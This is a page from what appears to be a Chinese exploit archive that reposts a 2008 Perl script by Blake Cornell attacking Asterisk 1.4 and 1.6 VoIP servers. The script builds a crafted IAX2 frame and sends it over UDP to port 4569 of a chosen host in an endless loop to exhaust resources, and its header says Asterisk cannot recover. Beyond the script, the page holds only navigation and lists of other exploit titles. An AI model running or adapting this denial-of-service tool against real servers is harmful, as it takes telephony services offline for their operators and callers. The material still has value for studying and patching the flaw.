首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Exploits Asterisk 1.4,1.6 et. al. Resource Exhaustion
来源:http://www.securityscraper.com/ 作者:Cornell 发布时间:2008-10-24  

#!/usr/bin/perl -w
#copywrite Blake Cornell
# http://www.securityscraper.com/
#  for more info
#Asterisk 1.4,1.6 et. al.
# Resource Exhaustion
#  Asterisk cannot recover
#goto http://www.voip0day.com for more information

use strict;
use IO::Socket;
use Getopt::Long;
use Pod::Usage;

my $result = GetOptions('host|h=s' => \(my $host = '')) or pod2usage(2);

if(!$host) { print "-h, Enter host"; exit 1; }

my $src_call = "8000";
my $dst_call = "0000";
my $timestamp = "00000000";
my $outbound_seq = "00";
my $inbound_seq = "00";
my $frame = "06";
my $type = "01";
my $ie = "01";
my $out_msg = pack("H*",$src_call.$dst_call.$timestamp.$outbound_seq.$inbound_seq.$frame.$type.$ie."00ffff");

socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
for(my $i=1;1==1;$i++) {
        print "Sending: $i\n";
        sendUDPSocket($out_msg,$host,4569);
}

sub sendUDPSocket {
        my($msg,$target,$port,@args)=@_;

        my $ipaddr = inet_aton($target);
        my $sin = sockaddr_in($port,$ipaddr);
        send(PING, $msg, 0, $sin) == length($out_msg) or die "cannot send to $target : $port : $!\n";
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Opera 9.52/9.60 Stored Cross S
·LoudBlog <= 0.8.0a (ajax.php)
·CSPartner 1.0 (Delete All User
·LibSPF2 < 1.2.8 DNS TXT Record
·SilverSHielD 1.0.2.34 (opendir
·GoodTech SSH (SSH_FXP_OPEN) Re
·MindDezign Photo Gallery 2.2 A
·FreeSSH version 1.2.1 denial o
·CSSH is a proof of concept CSS
·VLC 0.9.4 .TY File Buffer Over
·Opera <= 9.60 Stored Cross Sit
·freeSSHd 1.2.1 sftp rename Rem
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved